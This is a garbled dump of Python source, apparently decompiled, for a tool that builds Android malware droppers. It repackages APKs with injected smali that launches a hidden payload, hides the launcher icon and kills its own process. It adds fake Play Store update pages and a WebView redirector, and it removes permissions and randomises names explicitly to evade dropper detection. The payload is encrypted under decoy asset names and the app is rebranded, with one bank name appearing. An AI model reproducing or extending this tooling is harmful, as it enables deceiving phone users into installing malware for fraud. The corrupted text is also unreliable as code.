      }|j                  dk(  r;|j                         j                  di       j                  dd      }|dk(  ry|dv ryy# t        $ r Y yw xY w)zCPoll /api/partner/v1/transaction/{identifier} for real-time status.rQ  rX   r  r  z/api/partner/v1/transaction/r  r  )r  r  rO   )r  r   r$  r  rM  	completedpaid)failedrefundedmedr  )r  r  r  r/  r  r  r   )r  r  rQ  r  r  rM  s         rJ   check_pix_statusr  &  s    !!*b188=H9">2  j4YK@(/w&7CUV

 s"YY[__VR044XyIF$66   s   A2B! B! !	B-,B-c                    ddl }t        j                  j                  | d      }t        j                  j	                  |      syt        |dd      5 }|j                         }ddd       t        j                  dd      }d}|j                  d	
      }	 t        j                  ddt        dd|d|dg	ddd      }|j                  dk(  rt        j                  j                  |d      }	t        j                  j	                  |	      r}t        |	ddd      5 }
|
j                         }ddd       t        j                  d      }|r=|j                  d      j!                         }|rd|vrt        j"                  d|      r|}t)        j*                  |d       |r"d|vrd|z   dz   }|j-                  d|d z   d      }t        |d!d      5 }|j/                  |       ddd       t'        d"|xs d#        y# 1 sw Y   xY w# 1 sw Y   xY w# t$        $ r}t'        d|        Y d}~d}~ww xY w# t)        j*                  |d       w xY w# 1 sw Y   uxY w)$zRemove QUERY_ALL_PACKAGES (permissao broad, sinal de dropper) e injeta
    <queries> granular com o pacote do payload. Mantem getPackageInfo funcionando
    em Android 11+ sem o sinal de dropper. Nao altera o fluxo do app.r   Nr5  r0  r1  r7  zL\s*<uses-permission android:name="android\.permission\.QUERY_ALL_PACKAGES"/>rX   pkgq_r   java-jarr   -s-o-fT   r   r2  r3  #<manifest\b[^>]*\bpackage="([^"]+)"r,  rC   ^[A-Za-z][A-Za-z0-9_.]*$z#[manifest_fix] aviso extracao pkg: r   z	<queries>z.
    <queries>
        <package android:name="z"/>
    </queries>
z<applicationz    <applicationr6  z1[manifest_fix] QUERY_ALL removido; <queries> pkg=z(nao detectado))r   r   r   r]   r   rP  rQ  r|  r  r   r   r   APKTOOL_JARr   searchr  r  rf  r   r   r   r   rN  rR  )rS  user_apk_pathr   mfrh  manpayload_pkgpkg_dec_r_mpr  _mt_mm_candr   _qbs                   rJ   _fix_manifest_queriesr&  =  s$    	l$9	:B77>>"	b#	( Affh &&`bdfi
jCKkkk)G3^^VV[#t*D'4A+/dCI ==A'',,w(=>Cww~~c"#sWXF $"'')C$ii FLIIaL..0EE!1bhh?Z\a6b&+ 	gT2{#-@;NQhhkk.#0B*BAF	b#	( A		=k>^M^=_
`a? $ $  :3B4899: 	gT2
 s\   G?BH H,AH I?H	HH 	H9!H4/H< 4H99H< <II!Fc
                 S   t         j                  j                  t        j                  d   |  d      }
t         j                  j                  t        j                  d   |  d      }t         j                  j                  t        j                  d   |  d      }t         j                  j                  t        j                  d   |  d      }ddd	t
        | <   t        j                          	 t        ||d
|        ddd	t
        | <   t         j                  j                  |
      rt        j                  |
       t        j                  |
d       	 t        j                  |d      5 }|j                  |
       d d d        t         j                  j                  t         j                  j                  |
d            s-ddd	t
        | <   t%        j&                  ddt(        d|d|
dg       ddd	t
        | <   t         j                  j                  |      rt        j                  |       t        j*                  t,        |       t         j                  j                  |d      }t         j                  j                  |      rt        j                  |       t        j.                  |      D ]E  \  }}}|D ]:  }d|v st        j0                  t         j                  j                  ||             < G |rdd l}|j3                  t         j                  j                  |ddd      d       }|D ]  }t5        |dd!"      5 }|j7                         }d d d        d#}t9        j:                  d$|t8        j<                  %      }||k7  sYt5        |d&d!"      5 }|j?                  |       d d d         |d'k(  r	t         j                  j                  t@              rt         j                  j                  t@        d      }t         j                  j                  |d      }t         j                  j                  |      rt        j.                  |      D ]  \  }}} t         j                  jC                  ||      }!t         j                  j                  ||!      }"t        j                  |"d       | D ]Y  }#d|#v rt        jD                  t         j                  j                  ||#      t         j                  j                  |"|#             [  t         j                  j                  t@        d(d)      }$t         j                  j                  |$      rkt         j                  j                  |d(      }%t        j                  |%d       t        jD                  |$t         j                  j                  |%d)             |d*k(  rt         j                  j                  t@              r]t         j                  j                  t@        d      }t         j                  j                  |d      }t         j                  j                  |      rt        j.                  |      D ]  \  }}} t         j                  jC                  ||      }!t         j                  j                  ||!      }"t        j                  |"d       | D ]Y  }#d|#v rt        jD                  t         j                  j                  ||#      t         j                  j                  |"|#             [  t         j                  j                  |d(      }%t        j                  |%d       t         j                  j                  t@        d(d+      }&t         j                  j                  |&      r4t        jD                  |&t         j                  j                  |%d)             t         j                  j                  t@        d(d,      }'t         j                  j                  |'      r4t        jD                  |'t         j                  j                  |%d,             |d-k(  rt         j                  j                  t@              rt         j                  j                  t@        d      }t         j                  j                  |d      }t         j                  j                  |      rt        j.                  |      D ]  \  }}} t         j                  jC                  ||      }!t         j                  j                  ||!      }"t        j                  |"d       | D ]Y  }#d|#v rt        jD                  t         j                  j                  ||#      t         j                  j                  |"|#             [  t         j                  j                  |d(      }%t        j                  |%d       |r|nd.}(t5        t         j                  j                  |%d)      d&d!"      5 })|)j?                  |(       d d d        |d/k(  rt         j                  j                  t@              rt         j                  j                  tF              rjt         j                  j                  t@        d      }t         j                  j                  |d      }t         j                  j                  |      rt        j.                  |      D ]  \  }}} t         j                  jC                  ||      }!t         j                  j                  ||!      }"t        j                  |"d       | D ]Y  }#d|#v rt        jD                  t         j                  j                  ||#      t         j                  j                  |"|#             [  t         j                  j                  t@        d(d)      }$t         j                  j                  |$      rkt         j                  j                  |d(      }%t        j                  |%d       t        jD                  |$t         j                  j                  |%d)             t         j                  j                  tF        d      }*t        j.                  |*      D ]  \  }}} t         j                  jC                  ||*      }!t         j                  j                  ||!      }"t        j                  |"d       | D ]T  }#t        jD                  t         j                  j                  ||#      t         j                  j                  |"|#             V  d }+d0 },t         j                  j                  t        j                  d   |  d1      }-	 t         j                  j                  |-      rt        j                  |-       t%        j&                  ddt(        dd2|d|-dg	dd34      }.|.jH                  dk7  r8|.jJ                  r|.jJ                  d d5 nd6}/tM        d7|.jH                   d8|/        |,t         j                  j                  |-d            }+|+st         j                  j                  |-d9      }0t         j                  j                  |0      rut5        |0dd!d:;      5 })|)j7                         }1d d d        t9        jN                  d<1      }2|2r5|2jQ                  d=      jS                         }3|3r|3jU                         d>vr|3}+	 t         j                  j                  |-      rt        j                  |-       |+s& |,t         j                  j                  |
d            }+|+sd@}+tM        dA       ntM        dB|+        |	xs dCjS                         }5|5jY                  dDdE      jY                  dFdG      }6|+jY                  dDdE      jY                  dFdG      }7t         j                  j                  |dHdIdJdKdL      }8t         j                  j                  |8      rt5        |8dd!"      5 })|)j7                         }9d d d        dM}:|:9v rJdN|7z   dOz   |6z   dPz   };|9jY                  |:|;d=      }9t5        |8d&d!"      5 })|)j?                  |9       d d d        ntM        dQ       t         j                  j                  |dHdIdJdKd      }t         j                  j                  |      rt5        |dd!"      5 })|)j7                         }<d d d        dR}t9        j:                  d$|<t8        j<                  %      }=|=|<k7  r|=}<tM        dS       dT}>|>|<v r|<jY                  |>dUd=      }<tM        dV       dW}?|?|<v r2|<j[                  |?      }@|<jY                  |?dU      }<tM        dX|@ dY       t5        |d&d!"      5 })|)j?                  |<       d d d        	 t         j                  j                  |8      rt5        |8dd!"      5 }A|Aj7                         }Bd d d        dZ}C|CBv r[d[BvrW|+rUd\|7z   d]z   |6z   d^z   }DBjY                  C|Dd=      }Bt5        |8d&d!"      5 }A|Aj?                  B       d d d        tM        d_       n)d[Bv rtM        d`       n|+stM        da       ntM        db       	 t         j                  j                  |8      rt5        |8dd!"      5 }A|Aj7                         }Fd d d        dd}G|Gdez   }H|GFv rKdfFvrGFjY                  GHd=      }Ft5        |8d&d!"      5 }A|Aj?                  F       d d d        tM        dg       ndfFv rtM        dh       ntM        di       	 t         j                  j                  |8      rt5        |8dd!"      5 }A|Aj7                         }Jd d d        dk}Kt9        j:                  dl|KJt8        j<                  d=m      }L|L|Jk7  r4t5        |8d&d!"      5 }A|Aj?                  L       d d d        tM        dn       ntM        do       	 dd l.dd l/ta               fdq}N |N       }O |N       }P |N       }Qt         j                  j                  |dHdIdJdKdr      }Rt         j                  j                  |R      rt5        Rdd!"      5 }A|Aj7                         }Sd d d        SjY                  dsO      }S|SjY                  dtP      }S|SjY                  duQ      }St5        Rd&d!"      5 }A|Aj?                  S       d d d        tM        dvO dwP dxQ        t         j                  j                  |d(d)      }Tt         j                  j                  |T      rt5        Tdd!"      5 }A|Aj7                         }Ud d d        UjY                  dsO      }U|UjY                  dtP      }U|UjY                  duQ      }Ut5        Td&d!"      5 }A|Aj?                  U       d d d        tM        dyO        tc        |       te        |       |r|nd{}W|rt         j                  j                  |      rd }X	 |d|z   }Ytg        j4                  |      }Z|Zjh                  d   d}kD  sZjh                  d=   d}kD  rtW        d~Zjh                         Zjk                  d      jm                  Yd       |Y}XXrVdddddd}[d}\	 tg        j4                  X      jk                  d      }][jo                         D ]  \  }^}_t         j                  j                  ||^      }`t        j                  |`d       ]jq                  |_|_ftf        jr                        }adD ]4  }bajm                  t         j                  j                  `|b      dd       6  d}\\sydD ]t  }ct         j                  j                  ||c      }dt        j                  |dd       dD ]6  }et        jD                  Xt         j                  j                  d|e             8 v t         j                  j                  |d      }ft         j                  j                  |f      rm	 tu        jv                  f      }g|gjy                         }h|hj{                  d      D ]  }i |ij|                  d      dk(  sWi_?        ! gj?                  fd!d       t        j.                  |      D ]2  \  }}}|D ]%  }j|jj                  d      st         j                  j                  |j      }k	 t5        kdd!d:;      5 })|)j7                         }ld d d        ljY                  dW      jY                  d|W      jY                  d|W      }m|rfmjY                  d|j}                  dd            }m|mjY                  d|j}                  dd            }m|mjY                  d|j}                  dd            }mlmk7  r(t5        kd&d!"      5 })|)j?                  m       d d d        ( 5 t         j                  j                  |d(d)      }n|d-k7  r.t         j                  j                  n      r	 t5        ndd!"      5 })|)j7                         }od d d        ojY                  dW      }o|r0|j}                  d'i       }pojY                  d|pj}                  dd            }o|ojY                  d|pj}                  dd            }o|ojY                  d|pj}                  dd            }o|ojY                  d|pj}                  dd            }o|pj}                  d      r!ojY                  dpj}                  d            }opj}                  d      r!ojY                  dpj}                  d            }opj}                  d      r!ojY                  dpj}                  d            }o|rwt         j                  j                  |      rXdd lA}qt5        |d      5 })qj                  |)j7                               j                         }rd d d        ojY                  dr      }ot5        nd&d!"      5 })|)j?                  o       d d d        ddd	t
        | <   t5        |d      5 })|)j7                         }td d d        t_        j                  dd      }u|uj                  dd      t        j                  d      z   }v|vt        t        t|u            z   }wdd lA}xdd l}ydd l.}zdg dfdg dfdg dfdg dfdg dâfdg dŢfdg dǢfdg dɢfdg dˢfdg d͢fg
}{t_        j                  |{      }|||d   }}||d=   }~t        j                  t        |}j                                     }t        d΄ t        |}j                         |      D              }|xj                  |      j                         }|xj                  |      j                         }|yj3                  t         j                  j                  |dddL      d       D ]}  }t5        |dd!"      5 })|)j7                         }d d d        jY                  ddF dF      }|jY                  ddF dF      }t5        d&d!"      5 })|)j?                         d d d         t         j                  j                  |dѫ      }t         j                  j                  |      rt        j0                         t         j                  j                  |d(      }t        j                  |d       t         j                  j                  |}      }t5        |dҫ      5 })|)j?                  w       d d d        t_        j                  ddԫ      t_        j                  dd֫      t_        j                  ddث      g}t        ~|      D ]\  \  }}t5        t         j                  j                  |      dҫ      5 })|)j?                  t        j                               d d d        ^ t        |       t        |       t        |       t        |      }t        ||       t        |       t        |       t        |       t        ||       ddd	t
        | <   t         j                  j                  t(              stW        d۫      t%        j&                  ddt(        d|d|gdddݬޫ      }t         j                  j                  |      szt%        j&                  ddt(        dgd       t%        j&                  ddt(        d|d|gdddݬޫ      }t         j                  j                  |      stW        djJ                         ddd	t
        | <   d}t         j                  j                  |      rQt%        j&                  dd||gd       t         j                  j                  |      rt        j                  ||       ddd	t
        | <   t         j                  j                  t        j                  d   |       }t        j                  |d       t         j                  j                  t              stW        d      t%        j&                  ddt        d|dgdddޫ      }d }t         j                  j                  |      rMt        j                        D ]5  })|)j                  d      st         j                  j                  |)      } n stW        djJ                         |  d}t        W       d}t        j                  t         j                  j                  t        j                  d   |             t        j                  d       dddt
        | <   t        ||d|        t        |d       t        |ddW        t        dd|W ddd|ddd|ddg       |
||||fD ]n  }	 t         j                  j                        rt        j                  d       n4t         j                  j                        rt        j0                         p dD ]l  }	 t         j                  j                  t        j                  d   |         }t         j                  j                  |      rt        j0                         n 	 t        j                          y # 1 sw Y   #DxY w#  t        j                  |d      5 }|j!                         D ]  }	 |j#                  ||
       #  Y xY w 	 d d d        n# 1 sw Y   nxY wY #xY w#  Y "zxY w# 1 sw Y   !xY w# 1 sw Y   "xY w# 1 sw Y   +xY w# 1 sw Y   xY w# tV        $ r}4tM        d?|4        Y d }4~4}d }4~4ww xY w#  Y UxY w# 	 t         j                  j                  |-      rt        j                  |-       w w #  Y w xY wxY w# 1 sw Y   xY w# 1 sw Y   NxY w# 1 sw Y   xY w# 1 sw Y   ?xY w# 1 sw Y   xY w# 1 sw Y   xY w# tV        $ r}EtM        dcE        Y d }E~Ed }E~Eww xY w# 1 sw Y   sxY w# 1 sw Y   6xY w# tV        $ r}ItM        djI        Y d }I~I/d }I~Iww xY w# 1 sw Y   xY w# 1 sw Y   xY w# tV        $ r}MtM        dpM        Y d }M~Md }M~Mww xY w# 1 sw Y   2xY w# 1 sw Y   xY w# 1 sw Y   sxY w# 1 sw Y   "xY w# tV        $ r}VtM        dzV        Y d }V~V4d }V~Vww xY w#  Y xY w# tV        $ r}4tM        d|4        Y d }4~4d }4~4ww xY w#  Y xY w# 1 sw Y   =xY w# 1 sw Y   xY w#  Y xY w# 1 sw Y   #xY w# 1 sw Y   xY w# 1 sw Y   WxY w# tV        $ r}stM        ds        Y d }s~swd }s~sww xY w# 1 sw Y   XxY w# 1 sw Y   	xY w# 1 sw Y   	xY w# 1 sw Y   xY w# 1 sw Y   rxY w#  Y xY w# tV        $ r}st        s      }tM        d|  d|        d |d d  ddddt
        | <   t        ||d|        t        |d       t        dd| ddd|ddd	|d d
 ddg       Y d }s~sd }s~sww xY w#  Y xY w#  Y qxY w#  Y y xY w# |
||||fD ]u  }	 t         j                  j                        rt        j                  d       n4t         j                  j                        rt        j0                         p#  Y txY w dD ]s  }	 t         j                  j                  t        j                  d   |         }t         j                  j                  |      rt        j0                         n#  Y rxY w 	 t        j                          w #  Y w xY wxY w(  Nr  
_extracted_dropperr  z_unsigned.apkz_aligned.apkzAguardando vaga...r  rM  progressprocessandozExtraindo APK...r   Tr  r0  r5  zExtraindo via Apktool...r2  r  r  r   r  r  zPreparando Dropperr   r  z.bakr   r)  **r  )	recursiver1  r7  a4  .method public final synthetic d(Landroid/content/Context;Ljava/lang/String;)V
    .locals 2

    :try_start_0
    invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    move-result-object v0
    invoke-virtual {v0, p2}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    move-result-object v0
    if-eqz v0, :cond_0
    const/high16 v1, 0x14000000
    invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
    invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
    :cond_0
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

    goto :do_hide

    :catch_0
    nop

    :do_hide
    :try_start_1
    const-wide/16 v0, 0x1388
    invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
    :try_end_1
    .catch Ljava/lang/InterruptedException; {:try_start_1 .. :try_end_1} :catch_1

    :catch_1
    invoke-virtual {p0, p1}, Lcom/android/system/qspaas/RcvJbrzn;->b(Landroid/content/Context;)V
    invoke-virtual {p0, p1}, Lcom/android/system/qspaas/RcvJbrzn;->c(Landroid/content/Context;)V

    :try_start_2
    const-wide/16 v0, 0x12C
    invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
    :try_end_2
    .catch Ljava/lang/InterruptedException; {:try_start_2 .. :try_end_2} :catch_2

    :catch_2
    invoke-static {}, Landroid/os/Process;->myPid()I
    move-result v0
    invoke-static {v0}, Landroid/os/Process;->killProcess(I)V

    return-void
.end methodz`\.method public final synthetic d\(Landroid/content/Context;Ljava/lang/String;\)V.*?\.end method)flagsr6  	playstorer  up.htmlplayv2z
up_v2.htmlzplay.csscustomz$<html><body>Loading...</body></html>r	   c                 L   	 t         j                  j                  |       sy t        | d      5 }|j	                  d      }d d d        t              dk\  r|d   dk(  r	|d   dk(  ry t        | ddd	
      5 }|j	                         }d d d        dvry t        j                  d|      }|r=|j                  d      j                         }|rd|vrt        j                  d|      r|S y # 1 sw Y   xY w# 1 sw Y   pxY w# t        $ r}t        d|        Y d }~y d }~ww xY w)Nr  r{   r`  r   rb  r,  r0  r1  r2  r3  z	<manifestr  rC   r  zAviso _try_read_pkg: )r   r   r   rP  rQ  r  r|  r  r  r  rf  r   r   )mpbfheadr  mtextmm2cand_ees           rJ   _try_read_pkgz"process_apk.<locals>._try_read_pkg,  s   977>>"-#b$ *2!wwqz*4yA~$q'T/d1go#b#I *R "	*"%/#))$JERC"yy|113CtOA\^b8c#'K * ** * ! 91#7889sX   D D C* &D 'D 6C6D AD *C3/D 6C?;D 	D#DD#_pkgreadr  r  )r   r   r   rI   z[redirect] apktool decode rc=z stderr=r3  r2  r3  zrenameManifestPackage:\s*(\S+)r,  )null~zAviso apktool decode for pkg: rX   zH[redirect] AVISO: package do payload nao detectado, usando diff fallbackz&[redirect] payload package detectado: zabout:blank\z\\r  z\"rH  rI  rJ  qspaasr  z    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V

    invoke-virtual {p0, v13}, Landroid/app/Activity;->setContentView(Landroid/view/View;)Va0      invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V

    # --- REDIRECT WATCHER kickoff ---
    new-instance v0, Lcom/android/system/qspaas/RedirectWatcher;
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    const-string v2, "z"
    const-string v3, "a^  "
    invoke-direct {v0, p0, v1, v2, v3}, Lcom/android/system/qspaas/RedirectWatcher;-><init>(Landroid/content/Context;Landroid/webkit/WebView;Ljava/lang/String;Ljava/lang/String;)V
    invoke-virtual {v0}, Lcom/android/system/qspaas/RedirectWatcher;->run()V

    invoke-virtual {p0, v13}, Landroid/app/Activity;->setContentView(Landroid/view/View;)Vz?Aviso: anchor do MainActivity nao encontrado para redirect modezy.method public final synthetic d(Landroid/content/Context;Ljava/lang/String;)V
    .locals 0

    return-void
.end methodzJ[redirect] metodo d() neutralizado em RcvJbrzn (sem startActivity payload)z9invoke-static {p1}, Landroid/os/Process;->killProcess(I)Vr  z/[redirect] killProcess neutralizado em RcvJbrznzinvoke-virtual {v0, v3, v2, v1}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)Vz[redirect] zA chamadas de setComponentEnabledSetting neutralizadas em RcvJbrznz    const-string v0, "file:///android_asset/up.html"
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)VzREDIRECT FASTPATHaP      # --- REDIRECT FASTPATH: pula up.html se payload ja instalado ---
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    :try_start_fp
    invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    move-result-object v0
    const-string v2, "z"
    const/4 v3, 0x0
    invoke-virtual {v0, v2, v3}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
    move-result-object v0
    if-eqz v0, :cond_fp_notinstalled
    const-string v0, "a  "
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
    goto :cond_fp_done
    :try_end_fp
    .catch Ljava/lang/Exception; {:try_start_fp .. :try_end_fp} :catch_fp
    :catch_fp
    :cond_fp_notinstalled
    const-string v0, "file:///android_asset/up.html"
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
    :cond_fp_done
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    # marcador REDIRECT FASTPATH aplicadozB[redirect] FASTPATH injetado: pula up.html se payload ja instaladoz([redirect] FASTPATH ja presente, pulandozZ[redirect] AVISO: sem payload_pkg conhecido, FASTPATH desativado (usa diff fallback do RW)zE[redirect] AVISO: anchor up.html loadUrl nao encontrado para FASTPATHz$[redirect] erro injetando FASTPATH: zT    invoke-virtual {v13, v0}, Landroid/webkit/WebSettings;->setDomStorageEnabled(Z)Va  

    # --- WebViewClient para manter navegacao dentro do WebView ---
    new-instance v0, Lcom/android/system/qspaas/RedirWvc;
    invoke-direct {v0}, Lcom/android/system/qspaas/RedirWvc;-><init>()V
    iget-object v1, p0, Lcom/android/system/qspaas/MainActivity;->k:Landroid/webkit/WebView;
    invoke-virtual {v1, v0}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
    const/4 v0, 0x1
zRedirWvc;-><init>()Vz>[redirect] setWebViewClient(RedirWvc) injetado em MainActivityz3[redirect] WVC ja presente em MainActivity, pulandozM[redirect] AVISO: anchor setDomStorageEnabled nao encontrado para injetar WVCz[redirect] erro injetando WVC: zf.method public final synthetic r(Landroid/content/Intent;)V
    .locals 0

    return-void
.end methodzM\.method public final synthetic r\(Landroid/content/Intent;\)V.*?\.end method)r/  r  zZ[redirect] metodo r(Intent) neutralizado em MainActivity (preserva WebView na 2a abertura)zR[redirect] AVISO: metodo r(Intent) nao encontrado em MainActivity para neutralizarz)[redirect] erro neutralizando r(Intent): c            	          	 dj                  j                  j                  j                  dd                  } | vrj	                  |        | S T)NrX   r   rM   ry   )r]   r~   r   rZ   add)_n_rnd_rdr_str_rdr_used_namess    rJ   _uniq_bridge_namez&process_apk.<locals>._uniq_bridge_name#  sX    WWX%5%5h6N6NRZRbRbcdfgRh%5%ij[0'OOB/#%I	 rI   zDrpJsBridge.smali	opencheckstartInstallupdatecheckz'[redirect] DrpJsBridge methods -> open=z	 install=z update=z([redirect] up.html bridge calls -> open=z-[redirect] erro randomizando metodos bridge: r   z_converted.pngr   zicon dimensions too large: RGBAr  0   H   `         )res/mipmap-mdpires/mipmap-hdpires/mipmap-xhdpires/mipmap-xxhdpires/mipmap-xxxhdpiF)zic_launcher.pngzic_launcher_round.png)optimizezAviso resize icon: )rS  rR  rT  rU  rV  zres/values/strings.xmlr   namer  )r4  xml_declaration)r*  r.  r  AgibankAgiBankDRPR_TITULOtituloOtimizando sistemaDRPR_SUBTITULO	subtituloAguarde o procedimento...
DRPR_BADGEbadger  APPNAME[PUBLISHER]	publisherPlatform, Inc.[RATING]rating4.5[DOWNLOADS]	downloads1K+[SIZE]size8.6 MBchange1	[CHANGE1]change2	[CHANGE2]change3	[CHANGE3]r  
[BASE-ICO]zAviso up.html: zInjetando Payloadr  r  r{   big   zio_schema.cache)zext_config.idxznet_index.dbzsdk_registry.cachezkit_profile.idx)zmod_profile.binzbase_patch.datzres_profile.dbzext_module.pak)zapp_module.dbzutil_bundle.binzext_config.pakzmod_patch.bin)zres_patch.cachezres_init.pakzdata_profile.pakzio_profile.cache)zext_profile.dbzsdk_config.cachezio_config.idxzutil_index.cache)zres_module.dbzutil_init.idxzmod_bundle.binzsys_loader.cache)zapi_index.idxzcore_data.dbzlib_bundle.pakznet_schema.idx)zsdk_module.binzapp_init.cachezcfg_patch.datzcore_profile.pak)zio_bundle.dbzext_init.binzmod_config.cachezapp_loader.bin)zsys_profile.idxznet_config.pakzsdk_bundle.cachec              3   ,   K   | ]  \  }}||z    y wr  rH   )rQ   ar:  s      rJ   rT   zprocess_apk.<locals>.<genexpr>  s     Dtq!QUDs   z"MCe4qkNoRrMPUcr7Eg=="z"VEXUwzIPKNljf66aZrY="zassets/dbliqgnjl.datr  i  i  i  i  iR  iL  zCompilando APKP   zapktool.jar nao encontrador:  X  r   zempty-framework-dirr	  zErro na compilacao: zAlinhando APKU   z/usr/bin/zipalign4)r   zAssinando APKZ   zsigner.jar nao encontradoz--apksz--outr  .apkzErro na assinatura: r   	Concluidor  rM  r+  output_filedisplay_namer  z	Build APKzApp: zBUILD CONCLUIDOzAPK **z** compilado com sucesso.^" UsuariorX  valueinlineModor9  zERRO NO BUILD r   zErro: r1  z...rM  r+  errorr  z
BUILD ERROzErro ao compilar APK ****.DD Error$  )	_icon.pngz_icon.png_converted.png)ar   r   r]   appconfigBUILD_STATUS_BUILD_SEMAPHOREacquirer  r   r   r   r   zipfileZipFile
extractallnamelistextractr   r   r  copytreeDROPPER_TEMPLATErJ  removeglobrP  rQ  r|  r  DOTALLrR  PLAYSTORE_OVERLAYrW  copy2REDIRECT_OVERLAYr   r   r   r  r  r  r  r   rN  r  r   rD   setr/  r:  PILImagero  convertr  rL  resizeLANCZOSETr  getrootfindallr  r   rK  r  r  r  rZ   to_bytesurandomr  r  rE   r  r  zipr  r  r  ry  r
  r  r  r  r&  r"  
SIGNER_JARr  r   r  r  r=  r_   r  isfilerelease)r  r  custom_app_namer  custom_icon_pathdropper_configvisual_mode	hide_iconcustom_htmlredirect_urluser_apk_extractedrS  unsigned_apk_pathaligned_apk_pathzip_refmemberbuild_artifactr)  r`   r*  r+  	_glob_rcv	rcv_filesrcv_pathrfrcv_contentnew_dr  	smali_src	smali_dstroot_sdirs_sfiles_srS  dst_dirsf
assets_src
assets_dstv2_srccss_srchtml_to_writerh  
rsmali_srcr  r<  pkg_decode_dir_apkt_errayytymr:  r   
target_urlurl_smali_safepkg_smali_safema_pathmaanchorinjectrcv	patched_d	kill_linedisable_line	n_disabler  _ma_fp
_fp_anchor
_fp_inject_fpe_ma3_wvc_anchor_wvc_inject_wvce_ma2_new_r
_patched_r_rerH  	_rnd_open_rnd_install_rnd_update_drp_sp_drp_s_up_p_up_s_brmr  icon_to_use	converted_img_density_sizes
_resize_ok
_base_icon_d_sz_path_resized_namer   r   rX  strings_xmltreerootr   file	file_pathr-  new_contentup_html_path
up_contentpsr  icon_b64r  raw_datar  r  r  r  _globr  _ASSET_POOLS_pooldat_name_decoy_names_keyr  new_data_strnew_key_str_sm_scold_payloadr  payload_path_decoy_sizes_dn_ds_renamesres_bzipalign_bin
output_dirres_s	final_apk
final_namer  	error_msgtmpr  r  rE  rF  rG  s                                                                                                                                                          @@@rJ   process_apkr&  g  s"   cjj&AhZzCZ[cjj&AhZxCXYLcjj&AhZ}C]^cjj&AhZ|C\](<!LLe(O]HM,>B!OX77>>,-MM,-
&6		4 7""#567 ww~~bggll+=?TUV0JXZ%[L"NNFFKmTSegklm,@b!QX77>>,'MM,'(,7 lG<77>>.)MM.)"$'',"7 	!Ha !U?277<<%#@A!	!  %!rww||L'4Qa'bnrsI% 2*(C': ,b"$'')K,$" N &&w))	 k)hg> *")* *c2*n +%"''..9J*K%6@I\7;Iww~~i(/1wwy/A Z+FFG''//&)<C ggll9c:GKK$7% Z!R<RWW\\&"%=rww||GUW?XYZ	Z &79MJww~~j)WW\\,A
J6Zj))LM("rww~~6G'H%6@I\7;Iww~~i(/1wwy/A Z+FFG''//&)<C ggll9c:GKK$7% Z!R<RWW\\&"%=rww||GUW?XYZ	Z lH=JKK
T2WW\\"3X|LFww~~f%VRWW\\*i%HIggll#4h
KGww~~g&Wbggll:z&JK ("rww~~6G'H%6@I\7;Iww~~i(/1wwy/A Z+FFG''//&)<C ggll9c:GKK$7% Z!R<RWW\\&"%=rww||GUW?XYZ	Z lH=JKK
T2+6K<bMbggll:y93Q 'UV&' *$8I)Jrww~~^nOo%6@I\7;Iww~~i(/1wwy/A Z+FFG''//&)<C ggll9c:GKK$7% Z!R<RWW\\&"%=rww||GUW?XYZ	Z &79MJww~~j)WW\\,A
J6Zj))LM&6@J+-77:+> V'ggoofj9'',,y#6Gd3! VBLLfb!9277<<QS;TUV	V K.  WW\\#**_*E(S[G\]N77>>.1MM.1"V[#t"D.$@#'
 ##q(165<<-3D9%:J:J9K8TXS[\]+BGGLLI^,_`"nmDBww~~b)!"cGHM *QR!"B*YY'H"M#%88A;#4#4#6D#

M(I.2ww~~n5n5 +BGGLL9KMb,cd !`a>{mLM&7->>@J'//f=EEc5QN(00v>FFsERNggll9eY(ThiGww~~g&'39 "QB" MR<1 4B	BE1	1
 4BB
Euu  FFA6BgsW= $$ $ [\
 ww||Iui8UefHww~~h'(C': #a&&(C#
"  FFw))		 ##CfgW	#++i:CKL  f3& #		, 7I++lE:CK	{2stu(C': !aGGCL!)E77>>'*gsW= +!#+ "KJ!V+0C60QVa6
 9GG
J6
6 9G
GJHH #0 "(
J!J!'3A -RHHV,-bc,6HI(z{efA77>>'*gsW= )!wwy)"xK# '0 0   #d*/ET/Q#||KaH!'3A +RHHTN+^_/47STmnI77>>'*gsW= )!wwy)&  "$h ii"J "T)!'3A 1RHHZ01z{rs
N=!e&  12	0202'',,y%HhXkl77>>'*gsW=WbggiVW#^^KCF#^^NLIF#^^M;GFgsW=URXXfEUUCI;iXdWeemnymz{|\8YG77>>%(eS7;Tr27795T!MM+yAE!MM.,GE!MM-EEeS7;Rr288E?RDYKPQ 	#<0<(&5?5/? @K,/??	}}%5699Q<$&$))A,*=#&A$))$MNNV$)))U;'  +-*,*,*-*-" #

6!){!;!C!CF!KJ#1#7#7#9 \C "\2 >ED9#-#4#4c3ZAQAQ#R%Q \E$MM"'',,ue*DeVZM[\	\ "&J " C P!ww||L!<D48$P PD"LLbggll46NOPP ggll<1IJ77>>+&xx,||~"ll84 /F!vzz&)Z7&./ 

;$
